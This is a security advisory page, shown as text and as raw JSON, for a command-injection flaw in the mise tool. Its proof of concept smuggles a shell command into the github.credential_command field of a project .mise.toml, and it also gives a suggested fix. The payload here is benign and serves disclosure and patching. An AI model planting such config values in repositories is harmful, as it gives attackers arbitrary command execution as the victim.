Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    GHSA-29HF-RM4X-XXPH

    Vulnerability from github – Published: 2026-06-23 18:24 – Updated: 2026-06-23 18:24
    VLAI
    Summary
    Mise's local credential_command executes untrusted config
    Details

    Summary

    mise loads github.credential_command from local project config before any trust decision, then executes that value with sh -c when resolving a GitHub token. An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set.

    The current command-execution path is github.credential_command. I confirmed in Docker that the setting is exploitable on v2026.3.15 and v2026.3.17, while v2026.3.14 rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from [settings.github].

    Details

    The vulnerable load order is:

    1. Settings::try_get() preloads settings from local config files.
    2. parse_settings_file() returns settings_file.settings without checking whether the local file is trusted.
    3. resolve_token() checks settings.github.credential_command after the token env vars and before file-based sources.
    4. get_credential_command_token() executes the value with sh -c.

    The main command-execution path is:

    let result = std::process::Command::new("sh")
        .arg("-c")
        .arg(cmd)
        .arg("mise-credential-helper")
        .arg(host)
        .output()
    

    If a local project file sets:

    [settings.github]
    credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"
    

    then resolve_token() will reach get_credential_command_token() whenever higher-priority GitHub token environment variables are unset. credential_command is a documented custom credential source for mise, but it is also accepted from a local project .mise.toml, which lets an untrusted repository supply a shell command for mise to execute.

    PoC

    Test environment:

    • Docker
    • linux-arm64
    • mise v2026.3.17

    Negative control:

    export GITHUB_TOKEN=env_token
    mise github token --unmask
    

    Observed:

    github.com: env_token (source: GITHUB_TOKEN)
    /tmp/mise-proof.txt => missing
    

    Primary exploit:

    [settings.github]
    credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"
    

    Run:

    unset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN
    mise github token --unmask
    

    Observed:

    github.com: ghp_fake_token (source: credential_command)
    

    And the side effect file is created:

    /tmp/mise-proof.txt => credential_command_rce
    

    Related version check:

    • v2026.3.14: credential_command is rejected as an unknown field
    • v2026.3.15: the same PoC executes and returns source: credential_command

    Impact

    An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings.

    Demonstrated impact:

    • arbitrary command execution as the victim user
    • no trust prompt
    • no need for [env], [hooks], tasks, or templates

    Important limitation:

    • if a higher-priority GitHub token environment variable is already set, the credential_command path is not reached

    Suggested Fix

    Do not honor github.credential_command from non-global project config files.

    For example, inside parse_settings_file():

    pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {
        let raw = file::read_to_string(path)?;
        let settings_file: SettingsFile = toml::from_str(&raw)?;
        let mut settings = settings_file.settings;
    
        if !config::is_global_config(path) {
            settings.github.credential_command = None;
        }
    
        Ok(settings)
    }
    
    Show details on source website

    {
      "affected": [
        {
          "package": {
            "ecosystem": "crates.io",
            "name": "mise"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2026.3.15"
                },
                {
                  "fixed": "2026.6.4"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "aliases": [
        "CVE-2026-55448"
      ],
      "database_specific": {
        "cwe_ids": [
          "CWE-78"
        ],
        "github_reviewed": true,
        "github_reviewed_at": "2026-06-23T18:24:28Z",
        "nvd_published_at": null,
        "severity": "MODERATE"
      },
      "details": "### Summary\n\n`mise` loads `github.credential_command` from local project config before any trust decision, then executes that value with `sh -c` when resolving a GitHub token. An attacker who can place a `.mise.toml` in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set.\n\nThe current command-execution path is `github.credential_command`. I confirmed in Docker that the setting is exploitable on `v2026.3.15` and `v2026.3.17`, while `v2026.3.14` rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from `[settings.github]`.\n\n### Details\n\nThe vulnerable load order is:\n\n1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads settings from local config files.\n2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the local file is trusted.\n3. [`resolve_token()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#L344-L390) checks `settings.github.credential_command` after the token env vars and before file-based sources.\n4. [`get_credential_command_token()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#L558-L599) executes the value with `sh -c`.\n\nThe main command-execution path is:\n\n```rust\nlet result = std::process::Command::new(\"sh\")\n    .arg(\"-c\")\n    .arg(cmd)\n    .arg(\"mise-credential-helper\")\n    .arg(host)\n    .output()\n```\n\nIf a local project file sets:\n\n```toml\n[settings.github]\ncredential_command = \"echo credential_command_rce \u003e /tmp/mise-proof.txt; echo ghp_fake_token\"\n```\n\nthen `resolve_token()` will reach `get_credential_command_token()` whenever higher-priority GitHub token environment variables are unset. `credential_command` is a documented custom credential source for mise, but it is also accepted from a local project `.mise.toml`, which lets an untrusted repository supply a shell command for mise to execute.\n\n### PoC\n\nTest environment:\n\n- Docker\n- `linux-arm64`\n- `mise v2026.3.17`\n\nNegative control:\n\n```bash\nexport GITHUB_TOKEN=env_token\nmise github token --unmask\n```\n\nObserved:\n\n```text\ngithub.com: env_token (source: GITHUB_TOKEN)\n/tmp/mise-proof.txt =\u003e missing\n```\n\nPrimary exploit:\n\n```toml\n[settings.github]\ncredential_command = \"echo credential_command_rce \u003e /tmp/mise-proof.txt; echo ghp_fake_token\"\n```\n\nRun:\n\n```bash\nunset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN\nmise github token --unmask\n```\n\nObserved:\n\n```text\ngithub.com: ghp_fake_token (source: credential_command)\n```\n\nAnd the side effect file is created:\n\n```text\n/tmp/mise-proof.txt =\u003e credential_command_rce\n```\n\nRelated version check:\n\n- `v2026.3.14`: `credential_command` is rejected as an unknown field\n- `v2026.3.15`: the same PoC executes and returns `source: credential_command`\n\n### Impact\n\nAn attacker who can place a `.mise.toml` in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings.\n\nDemonstrated impact:\n\n- arbitrary command execution as the victim user\n- no trust prompt\n- no need for `[env]`, `[hooks]`, tasks, or templates\n\nImportant limitation:\n\n- if a higher-priority GitHub token environment variable is already set, the `credential_command` path is not reached\n\n### Suggested Fix\n\nDo not honor `github.credential_command` from non-global project config files.\n\nFor example, inside `parse_settings_file()`:\n\n```rust\npub fn parse_settings_file(path: \u0026Path) -\u003e Result\u003cSettingsPartial\u003e {\n    let raw = file::read_to_string(path)?;\n    let settings_file: SettingsFile = toml::from_str(\u0026raw)?;\n    let mut settings = settings_file.settings;\n\n    if !config::is_global_config(path) {\n        settings.github.credential_command = None;\n    }\n\n    Ok(settings)\n}\n```",
      "id": "GHSA-29hf-rm4x-xxph",
      "modified": "2026-06-23T18:24:28Z",
      "published": "2026-06-23T18:24:28Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/jdx/mise/security/advisories/GHSA-29hf-rm4x-xxph"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/jdx/mise"
        }
      ],
      "schema_version": "1.4.0",
      "severity": [
        {
          "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Mise\u0027s local credential_command executes untrusted config"
    }